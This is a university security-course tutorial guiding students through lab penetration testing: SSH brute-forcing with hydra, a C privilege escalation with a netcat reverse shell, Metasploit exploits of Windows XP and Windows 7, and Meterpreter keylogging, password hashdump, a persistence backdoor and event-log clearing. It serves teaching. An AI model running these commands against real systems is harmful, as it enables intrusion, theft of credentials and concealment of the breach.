KIT304 Server Administration and Security Assurance

Tutorial 17

Goal

In the previous tutorial you completed the second phase of penetration testing and started phase three with a simple trojan horse exploit. Today you will move into more exploitation, first via **ssh** and then via other software exploits before moving into the final phase: maintaining access.

Introduction

Exploitation is the process of gaining control over a system. In this tutorial, you are going to continue with this exploitation phase, using an exploitation framework that contains many tools that together form something quite powerful.

In the last tutorial you used a trojan horse to gain access to a system. Today you'll look at other possibilities, like brute-forcing a weak password, and by running a privilege escalation from an unprivileged account. All of these ultimately have the goal of gaining administrator access to the target system.

> ➢ If you missed the previous tutorial, complete it before attempting this one.

After you have finished with exploitation, you are going to briefly look at the concept of *maintaining access*. This is a phase of the process in penetration testing that you may not always undertake – it is used to test whether any detection methods already in place can notice the breach. In penetration testing you are largely focused on whether you can get into a system, and whether you can get at the target data. A malicious attacker doesn't have that goal - they want to maintain access so that they can return in the future to retrieve even more data. The main method for achieving this is to create a *backdoor*.

In the simplest sense, a backdoor is a piece of software that resides on the target computer and allows the attacker to re-connect to the machine at any time. In most cases, the backdoor is a hidden process running on the target machine that allows a normally unauthorized user to control the system.

It is important to understand that many exploits are fleeting. They work and provide access only as long as the program that was exploited remains running. In many cases, if the target reboots, or if

the exploited process is stopped, the exploit connection is lost. Further, if the machine is patched, the software vulnerability that was being exploited may not be there the next time you try to access the target machine. As a result, one of the first tasks after gaining access to a system is to migrate your connection to a more permanent home. This is often done through the use of backdoors.

> - **Reminder**: The tools that we will use in these tutorials are to only be used against computers as instructed in this document.
> - Do NOT use the tools described in this unit against any other university computers. Doing so is a breach of university policies, and could result in disciplinary or legal action being taken against you.

Penetration testing is also known as ethical hacking. The goal is to find security holes in computer systems that you are authorised to find security holes in. If you are not authorised to look for security holes you may be breaching telecommunications and other law at both federal and state levels.

Part 1: Remote Login

The first activity you are going to undertake today is to remotely log in to one of our target machines. Now, obviously, you already know the login credentials of these machines, but in a real penetration test you would be attempting the same task without that knowledge. As such, you would need to draw on the knowledge from the first phase (reconnaissance) to attempt to discover the login credentials of the target.

The ultimate goal of this penetration test is to gain administrative access to the target computer. If you achieve this then you are able to control that computer, and gain access to whatever data or resources it has.

The first step is to find some accounts to try to access. It may be that you did some research about the target and discovered a username. In many cases, usernames are not hard to discover. On university machines, for example, your login account can be the same as your email account, which is a publicly available piece of knowledge. Some users use their online handle widely, and even sometimes as the login name for their computers. But even without that knowledge, most computers come with a series of accounts that are already set up and configured to varying levels. If you know those account names, you're one step further along in terms of hacking the target.

In our setup we have two Linux based machines. One is our attacker (**Kali**) and the other is one of our targets (**Metasploitable2**). These two computers will share some traits. If you look up the user and system accounts on them both, you will find some that are common to both.

1. Launch and configure both **Kali** and **Metasploitable2** with IP addresses in the **`192.168.1.x`** network.

2. Since the target OS is very similar to the attacking OS (that is, they're both Linux), you decide that you are going to get a list of local accounts on the assumption that they may well exist on the target as well. On all machines there is a list of users, in the form of the passwd file. To view this on Kali enter the command:

   ```
   cat /etc/passwd
   ```

3. This gives you quite a bit of information. It lists a lot of accounts on the system, along with the **userID**, the primary **groupID**, and the home folder. You can remove a lot of this extra information by *piping* (using the **|** or *pipe* symbol) the output of the **cat** command to another utility called **cut** like this:

   ```
   cat /etc/passwd | cut –d: -f1
   ```

   The output gives a long list of accounts, but you don't really know which one you want from that list. You can reduce the list quite a bit if you limit it to just *system-created* accounts. In the list from step 2, you should have seen the home directory of each of the accounts in the list. If you filter the list based on that, you can list just the accounts whose home directory is a system directory. One example of this is the **/dev** folder, which is used by devices. Try the following command:

   ```
   cat /etc/passwd | grep "/dev" | cut –d: –f1
   ```

4. You now have a target account. What is it? _____

At this point you have an account to try to access on the target system, although you don't know its password. Any attempt to log in to your target computer with that account will likely need a lot of different password guesses before hitting the right one – a process that is not something you would want to do manually. This is where Kali can be very useful. If you look in the **Applications** menu you can see that there is a whole category on password attacks.

> ➢ Note that there's a rendering bug in the current version of Kali that makes menu entries appear briefly and then disappear unless you hover the mouse over them – you'll need to get used to hovering the mouse over each entry slowly to find the one you want.

Click the **Password Attacks** menu item and it will expand to a number of subsections. For now, find and open **hydra** in the **Online Attacks** section (if you can't see this, roll the mouse over the dark grey area to the right of the **Online Attacks** menu title, and the items should appear).

When you open **hydra**, it launches a **Terminal** window, and displays its manual page. Read through the options that are available.

hydra comes with a sizeable pre-installed password library, and more can be downloaded. These tend to be made up from popular passwords and default passwords that are used on systems. On the Desktop (of the Kali system), in the **KIT304** folder there is a folder called **Tutorial15**, and in there is a file **passwordList.txt** that contains a list of 500 common passwords. If you want, open this up and have a look at them **but be warned that some of the words may be offensive to some people**. These are the passwords you are going to use to try to break into our target computer.

5. Enter the following command (**as a single line**) in the hydra window to target the **Metasploitable2** system using this password library and the target account's username you found at step 5. (Note that the first parameter is a lower-case "L").

   ```
   hydra -l username -P /root/Desktop/KIT304/Tutorial15/passwordList.txt
   ipAddressofMetasploitable ssh -t 4
   ```

   This could take up to 5 minutes to run, but it will tell you part way through that it has found a password, and will print it out on the screen.

   What is the password? _____

6. Now that you have a username and a password, you try to log in to the target computer with them using **ssh**. To do that, enter the following command:

   ```
   ssh username@ipAddressofMetasploitable
   ```

   Enter **yes** if you are asked about accepting an RSA key. When prompted for a password, type in the password that you learned from **hydra**.

7. If the **ssh** login worked, you should now see a prompt from the target system. You have successfully logged into that computer with one of the predefined system accounts. However, do you have admin access? To find out type the following:

   ```
   sudo -v
   ```

8. At this point, you have access to an account, but you don't have administrative access through it. If you repeat some of your earlier steps, you can attempt to achieve this. Using the **ssh** connection that you established, can you determine which accounts exist on this system? Perhaps targeting accounts with a home directory inside **/home** is a good place to start. The **ls** command will give you a directory listing of them.

9. Once you have established the list of accounts that are on the target computer, look at their names. Are any of them likely to be an administrator account? Repeat the previous steps and try to login with an account with admin privileges. (From a cheating perspective, we know at least one of the accounts that does have admin privileges, so it is easy to know which one to try and break.)

In this section you have managed to gain administrative access to a computer through brute forcing the password by repeatedly trying to log in across the network. There are many automated attacks that use this approach, searching for IP addresses that are running specific services, and then trying a short series of well-known passwords on them. If the login attempt succeeds, the details are recorded for the attacker, before the system moves on to the next target. Automated attacks can produce a lengthy list of vulnerable hosts. This should illustrate why changing default passwords and completely disabling unused accounts leads to stronger security. Without those steps, such accounts are open doors for hackers.

Part 2: Privilege Escalation

In the previous section, you started with one account, used it to learn about the existence of another, and then brute-forced the password. This is not going to work all of the time, and can be defended against through the use of strong passwords and having a policy that limits the number of password attempts that are allowed.

Another mode of attack that you can use is **privilege escalation** (also known as **privilege elevation**). If you have a low-level account, you can try to find vulnerabilities that enable you to change that account to one with a high-level – ideally, one with administrator privilege. This type of attack is often about exploiting an error in permissions to execute code at a higher level than you have, and in that code raising your privilege level.

10. Close all of your existing terminal windows on **Kali**, then open **two new terminal windows**. In one of these (soon, not yet!) you will **`ssh`** to Metasploitable2 using a low-level user account and attempt a privilege escalation. The result will be a connection to a process you are running in the second terminal window which will be root level access on the Metasploitable2 machine.

11. Netcat (**`nc`**) is used for performing maintenance/diagnosis tasks and can perform operations like reading, writing or data redirections over the network (similar to how you use the **`cat`** command to manipulate files on the Linux system) and as a utility for scanning ports, monitoring, or acting as a basic TCP proxy. You're going to use netcat in the **first** of your Kali terminal windows with the following command. This will be the connection that will end up giving you root access on the target after the rest of these steps are complete. After you enter this command, you won't get a prompt – the cursor will remain at the start of the line.

    `nc -l -p 1337` (note: the first option is a lower case 'L', not the digit '1')

12. For the next steps, keep in mind that you're a hacker trying to raise their privilege on a system that you already have low-level access to. Being a hacker, you have tools to help you with this – in this case, a short C program called **escalation.c** that can take advantage of an unpatched vulnerability on the target system to escalate privilege. You need to copy your C program over to the target, and then connect to it via **ssh**. **Note well:** the **two** commands to do this are as follows. After you enter each command, you'll be asked to enter the password for the **user** account. It, too, is **user**.

    ```
    scp /root/Desktop/KIT304/Tutorial15/escalation.c user@ipAddressOfMetasploitable:

    ssh user@ipAddressOfMetasploitable
    ```

    Your terminal window is now running a remote login session on the target computer. Remember that this **user** account does not have any special privileges; it is a normal account. Enter the command **id** to confirm your active username and user ID.

13. You had the foresight to bring your C-based exploit code with you – but you now need to compile it to make it executable. You do that as follows:

    ```
    gcc -o escalation escalation.c
    ```

14. As part of its execution, the privilege escalation program you've just compiled wants to run another program located at **/tmp/run** – this is the program that will end up being run with the higher privileges. In this case, you're going to make it a short script that connects back to the process already running in the other terminal window on Kali. To create that script, enter the following two commands:

    ```
    echo '#!/bin/bash' > /tmp/run
    echo '/bin/netcat –e /bin/bash ipAddressOfKali 1337' >> /tmp/run
    ```

    Type the commands carefully. If you get it wrong, restart at the first command and try again.

15. This script, when run, simply establishes a connection between this system, and the **nc** process that you started on Kali back in step 11. When that connection is running, you can enter commands into the Kali window, and they get passed back and run on Metasploitable2. However, you're not going to run the script as is – instead, you're going to run it using your privilege escalation tool, which means it will be running with elevated privileges on the Metasploitable2 machine, and so you'll have root control of Metasploitable2 from Kali. One final piece of information you need before you can try the exploit is to get the process id of the **udevd netlink** socket (also used by **escalation.c**). You can do that with this command:

    ```
    cat /proc/net/netlink
    ```

In the **Pid** column (the third), all of the rows except one will contain a zero. That non-zero value is the process ID you need for the next step.

16. To execute your privilege escalation exploit enter the following command, being sure to make use of the process ID you found in step 15:

    ```
    ./escalation processID
    ```

17. Now go back to the Kali window from step 11 that is running the **nc** command. This process should now be connected to your target system. You won't see command prompts, but you can type shell commands into the window, and they will run. Start by running the command **id** to see which user you are. It should be the root user, and you can run other commands as root too.

> ➢ Note: If you don't get a response, try pinging Kali from your Metasploitable virtual machine. Past tutorials have shown that sometimes this is required before remote access will work.

You've successfully attacked the target and elevated your execution privilege to that of the administrative user. As a hacker, you could now make configuration changes to the system, create new accounts, plant additional backdoors, and get up to other mischief that would provide you with longer-term access to the system without having to use your exploit each time.

Part 3: The Metasploit Framework

An exploit framework is a formal structure for developing and launching exploits. Frameworks assist the development process by providing organization and guidelines for how the various pieces are assembled and interact with each other. The **Metasploit** Framework is arguably the biggest and most popular. It is also free, open source and easy to use.

In your previous exercise you had a simple piece of C code that, if it weren't for frameworks like Metasploit, you would have had to research and write yourself. Furthermore, the one you used actually had two components, one being the exploit, and the other a payload that was installed once the vulnerability was exploited. This is what granted you remote shell access to the target. Installing the payload is the goal. Without a framework you would have to write different payloads yourself.

Metasploit allows you to select the target and choose from a wide variety of premade payloads. The payloads are interchangeable and not tied to a specific exploit. A payload is the "additional functionality" or change in behaviour that you want to accomplish on the target machine. Metasploit's most popular payloads include adding new users, opening backdoors, and installing new software onto a target machine

18. Open VMs for **Windows XP** and **Windows 7**, giving them both IP addresses on your virtual network.

19. On Kali, start Metasploit by clicking on its icon (shown here on the right) in the Dock at the left-hand side of the Kali screen. This will take a few moments to finish launching.

> ➢ Note: The first time you run the Metasploit console on Kali Linux, you'll get a **Ruby Gems** error message. Close the Window, and run click the Metasploit icon again.

Once Metasploit has launched, look at the information displayed – in particular the number of exploits and payloads that are built-in. These are used to attack vulnerable systems and services.

> ➢ Note: The Metasploit console displays various ASCII art images and/or fake error messages every time it is run, some of which are difficult to tell apart from genuine error messages. As long as you have an **msf*n* >** prompt, the console is running and waiting for your commands.

20. Resize the Metasploit window to make it quite a bit larger – you are going to produce a lot of output at some points during this example, and it will be more readable if the view is as large as possible.

21. Enter **?** at the prompt. This will output a list of the different commands supported by the framework. You won't be using very many today, but it is good to know how to get **help**.

22. In the last tutorial you used **nmap** to discover information about hosts – for example, you were able to learn about the network services that were running on some targets. One of those was **netapi** on the Windows XP machine. Today, you will use **nmap** from within the Metasploit Framework to discover if that target has any known vulnerabilities on this service. This is an example of how the Metasploit Framework brings together multiple tools to use with each other. Enter the following command, substituting your Windows XP IP address:

```
nmap -sS --script=smb-vuln-* --script-args=unsafe=1 ipAddressOfXP
```

This command tells **nmap** to do a TCP SYN scan (**-sS**), and for each host that is found (in this case just your XP host), run the set of built-in scripts (**--script**) whose names start with the string "**smb-vuln-**". This causes **nmap** to run about 11 scripts that are able to detect **smb**-related vulnerabilities. Some of those scripts can cause the host being probed to crash, and so won't run

by default. The **--script-args=unsafe=1** option forces them to be run. **nmap** has many other built-in scripts for probing for vulnerabilities in other services, such as **http**, **dns** and so on.

23. You should see the details of several open ports, followed by reports that detail several vulnerabilities that Metasploit knows about for the Windows XP system – for example, **smb-vuln-ms08-067** and **smb-vuln-ms17-010** – both of which have a **Risk factor** of **HIGH** meaning they can potentially allow remote code execution and privilege escalation.

    You can search Metasploit's knowledge base to get more information about the many exploits in its arsenal with the **search** command, as in the following examples. The first searches for all SMB (Server Message Block) based vulnerabilities, the second searches for **netapi** based SMB vulnerabilities:

    ```
    search windows/smb
    search netapi
    ```

24. In both sets of output, you should see the Microsoft security advisory code **MS08-067** (the full advisory document is on the Kali Desktop in the **KIT304/Tutorial14** folder). Note too that the exploit has a rank of '**great'** which means the Metasploit framework stands a good chance of being able to apply it. Use the following command to set up the framework to use that exploit:

    ```
    use exploit/windows/smb/ms08_067_netapi
    ```

25. You should note that the exploit name is now part of the command prompt. In this mode, you will be able to set all of the options required to carry out the attack, and then execute it.

    i. Enter the command **info** to list information about the exploit.
    ii. Enter the command **show options** to see what options the exploit supports, and their current values.

    The next thing you need to do is set the target, as follows:

    ```
    set rhost ipAddressOfXP
    ```

26. As discussed already, an exploit isn't the goal. It simply gives the attacker an opportunity to execute some code that *might* achieve their goal. This code is the *payload* – it is what will be executed once the exploit has "opened the door". The Metasploit Framework comes with many payloads that can then be used with many different kinds of exploits. To view the list of exploits enter the command **show payloads**.

    Of the compatible payloads, you want one from the **vncinject** group. VNC is a remote-control application, and so this payload category provides control of the exploited machine, like you saw in the previous tutorial. The **reverse_tcp** variant creates a connection from the exploited host

back to our attacking machine, thus bypassing any firewall rules that might normally block an incoming VNC connection. To use this exploit, enter the following command:

```
set payload windows/vncinject/reverse_tcp
```

27. The next step in the configuration process is to set the payload's **lhost** option to the IP address of Kali (so that the payload knows which system to communicate back to once the exploit has been run). To do that, enter this command:

    ```
    set lhost ipAddressOfKali
    ```

28. Enter the command **`show options`** again to verify that everything is set up correctly. There is one option left to change, named **ViewOnly**. Can you configure this one yourself?

29. Finally, it is time to run the exploit. To do that, enter the command **`exploit`**.

    If this fails, or if you disconnect and later want to reconnect, you'll need to restart the XP machine to re-initialise its TCP stack so that it can be attacked again. XP doesn't take long to restart, and keep in mind that it will fail sometimes, which is not unusual as you are trying to get the code on the target to do something it was designed specifically not to allow.

30. In the window that appears create a folder and give it the title "You have been hacked" and then look at the screen for the Windows XP VM.

Part 4: Maintaining Access and Meterpreter

You are now going to examine one of the most useful parts of the Metasploit Framework: the **Meterpreter**. This is a payload which is itself a complete command-line environment for interacting with the target. It runs on the target, at the permission level of the program that was exploited, and indeed operates as that process.

The Meterpreter resides completely in memory, and writes nothing to disk, in an attempt to avoid detection. The tool itself, while useful for finding files and accounts to compromise, is also useful for creating backdoors, extracting password files and many other things. A common goal for a Metasploit Framework user is to get Meterpreter running on the target.

You're now going to break into the XP machine again, this time using Meterpreter as the payload.

31. In the previous activity you compromised the Windows XP machine. **You should now reboot Windows XP so that its network stack is reset to normal**. If you don't do this, the following will not work. You can also close the VNC window on Kali if it is still open from the previous activity, but don't close the terminal session that is still running Metasploit.

32. Now get Metasploit ready for another exploit. You'll be using the same exploit as before, but with a different payload:

```
use exploit/windows/smb/ms08_067_netapi
set rhost ipAddressOfXP
set payload windows/meterpreter/reverse_tcp
```

33. Set the **LHOST** option on the payload to the Kali IP address, and then run the **exploit** command. Once the exploit is in place, you will be presented with the **meterpreter>** prompt.

    At the **meterpreter>** prompt you are able to run a many different commands. To see a list of them, enter the command **help**.

    To gain an idea of what you can do with Meterpreter, try out each of following commands, and examine the results:

```
sysinfo
pwd
ls
ipconfig
cd ..                   (and then pwd again)
ps
search -f hosts         (hosts is a file we are looking for)
download path/to/filename
```

> ➢ Note that the **download** command, and other Meterpreter commands that can take file paths, require Unix-style forward slashes between subdirectory names, rather than the Windows-style backslash/

34. You can access the target computer's normal command shell by entering the command **shell**. Try this, and enter a few Windows shell commands, then enter the command **exit** to return to the Meterpreter shell.

35. Next, switch to the Windows XP virtual machine and open **WordPad** (it is in **All Programs** -> **Accessories**). Type a few lines into the empty document window. Back on the Kali virtual machine, enter the command **screenshot** and (in the Kali GUI) click the folder icon in the icon dock on the left side of the screen. You should be able to see the screen shot image in the root user's home folder, and you can open it by double-clicking it.

36. As you saw in the previous tutorial, getting user account information is valuable as it provides a target to try to attack. If you can get the hash (the encrypted version) of a password then you can try and crack it. The following command not only lists user names to target, but also the hash of their passwords:

```
hashdump
```

37. The Meterpreter process you are currently using is running on the process you first attached it to, like a parasite. This is the process it appears to be in a process listing, and it has the same permissions as the original process, but it may not have access to everything on a system. A useful feature of Meterpreter is its ability to migrate itself to a different process. To find out what process it is currently running as, enter the following command:

    ```
    getpid
    ```

    This lists the ID of the process that Meterpreter is running alongside. If you enter the **ps** command again you can search for this ID in the **pid** column, and then look across to the **name** column to see which process it is. On Windows-based systems, a process commonly used as an exploit host is **Explorer.EXE**. To migrate Meterpreter to that process, find its process ID in the **pid** column, and then enter the following command:

    ```
    migrate targetProcessID
    ```

    When the prompt is displayed, confirm it worked with the **getpid** command.

38. Taking a screen shot is one thing, but logging which keys are typed is far more useful. To do this enter the following command:

    ```
    keyscan_start
    ```

    In the XP VM, type a few things into the WordPad window, and then enter the following two commands in Meterpreter to first dump the logged key presses and to turn off the logger:

    ```
    keyscan_dump
    keyscan_stop
    ```

    When you're done, be sure to close WordPad on the XP system.

39. Now that you have successfully broken in and experimented with a few of the Meterpreter tools, your next step is to create a backdoor into the system. This will enable you to revisit the host at a later time without needing to break in using an exploit. If the target gets patched, and the exploit you used previously no longer works, you can still gain access. There are many ways to do this, but you can use a built-in feature of Meterpreter to do it as well. Enter the following command to see some of the features it supports (you can ignore the deprecation warning):

    ```
    run persistence -h
    ```

    Now try the following command:

```
run persistence -A -X -p 10000 -r ipAddressOfKali
```

40. You now have a backdoor into your host. If you reboot that computer the backdoor will re-open automatically. You can even cause the XP system to reboot from the Meterpreter prompt – enter the command **`reboot -f`** and wait for the Meterpreter log message indicating that a new session was opened.

41. To list the available sessions, use the command:

    `sessions -l` (note – this is a lower case "L")

    and to connect to an existing session (such as the session from the back door that was just re-opened) use the command:

    `sessions -i` *`sessionNumber`*

42. Finally, an important step to maintain access, and to avoid detection in the long term, is to cover your tracks to hide the fact that you were even on the computer. If you open up the **Control Panel** on the Windows XP system and then go to **Administrative Tools** and then select **Event Viewer** you will see that there is a log of all the events that have taken place recently. Something here may give you away, so you can clear the event record in the Meterpreter shell with the following command:

    `clearev`

    Meterpreter will clear different log depending on the type of system that you are connected to, but the basic idea is the same - clear any logs that relate to the activity you have undertaken.

Part 5: Windows 7

A well-patched system may not have any known remote exploits. In these cases, it is common to make use of the most reliable source of vulnerabilities – the user. If you can convince a user to execute code on your behalf, you may be able to gain access to their system, and their data. In this task, you're going to serve up an exploit that would be hosted on a malicious web server – and then use social engineering techniques to get the user to click on a link to the file.

43. Return to the Metasploit framework on Kali. If you're at the Meterpreter prompt, enter the command **`exit`** to return to the **exploit** prompt. Then enter this command:

    `use exploit/windows/browser/ms13_055_canchor`

This exploit lets you set up a web server that contains code to take over a target when they visit it.

Set the **SRVHost** option to the IP address of Kali and the **SRVPort** option to **80** – this is the address and port that the malicious web server will be listening on.

Set the **URIpath** option to a string that you think might be attractive to someone to click on if they received it in an email, or a message on social media, or some other manner (e.g., **CatVideos**). Don't use any spaces or other non-URL-safe characters.

Enter the command **`show targets`** to see a list of operating systems that the exploit works on, and then set the **`target`** option to the correct value (for our Windows 7 VM, it should be "2").

Again, you want to use Meterpreter as the payload:

```
set payload windows/meterpreter/reverse_tcp
```

Set the payload's **LHOST** option to the IP address of Kali.

44. At this point, you have set up the exploit (a malicious web server) and its payload (Meterpreter). All of this has been using Kali's IP address. Remember that in this exploit, you're not pushing the exploit to the Windows 7 system, but rather waiting for it to visit your web server so you can send it a malicious payload.

    Enter the command **`show options`** to check that everything is set correctly, and then enter the command **`exploit`**. The initial output from Metasploit includes a URL to the malicious web server – make a note of this for the next step.

45. On the Windows 7 system, start **Internet Explorer** using the icon on the desktop, and enter the URL from the previous step in the address bar to visit the malicious site. (Typically, you would want the user to click on the URL of this link having received it in an email, or via a social networking application).

46. Over the next several minutes you should see multiple lines of output in the Kali terminal, and you will see Meterpreter migrating twice (you may have to show some patience here). You'll also see an error message on Windows 7 telling you that Internet Explorer has stopped working – this is normal, as you've broken it in an attempt to take it over. (If you don't see any of this, restart the browser and try visiting the URL again).

    Once Meterpreter has stopped logging output, press the return key to get the **`msf exploit`** prompt again. List the available **`sessions`** and select the newly created session to take control of the Windows 7 computer.

If you can't get a working **meterpreter** session that reliably executes commands on the remote system, try the following steps to reset everything:

- if you have a **meterpreter** prompt at Kali, enter the command **exit**
- enter the command **jobs** – this will list the background job that's listening for the connection from the Windows 7 browser
- make a note of that job's ID, and kill it with the command **jobs -k** *jobID*
- enter the command **exploit** to restart the exploit listener
- reboot Windows 7, re-run Internet Explorer, and try to visit the malicious URL again
- if you eventually see **Successfully migrated to explorer.exe as: root-PC\root** in the **msfconsole** output, you should have a working session you can connect to.

Conclusion

One point that has not been mentioned about Meterpreter is that it is useful for launching new attacks. Once the first target in a network is compromised, it can be used to conduct fresh reconnaissance. It may have access to computers or resources that your original reconnaissance system didn't, and so makes a good base for finding new targets, and then launching exploits against them.

Skills to Master

This tutorial's skills that you need to master to progress through the unit include:

- filtering lists of users in the password file on the command line
- using **hydra** to try to crack an account through brute force using a specified connection protocol
- using the Metasploit framework to carry out exploits with payloads
- setting and checking options in a Metasploit exploit and payload
- using Meterpreter as a payload to give command-line access to a target
- migrating Meterpreter to a different process ID
- getting a list of Meterpreter sessions that have connected back to the Metasploit Framework, and connecting to one of them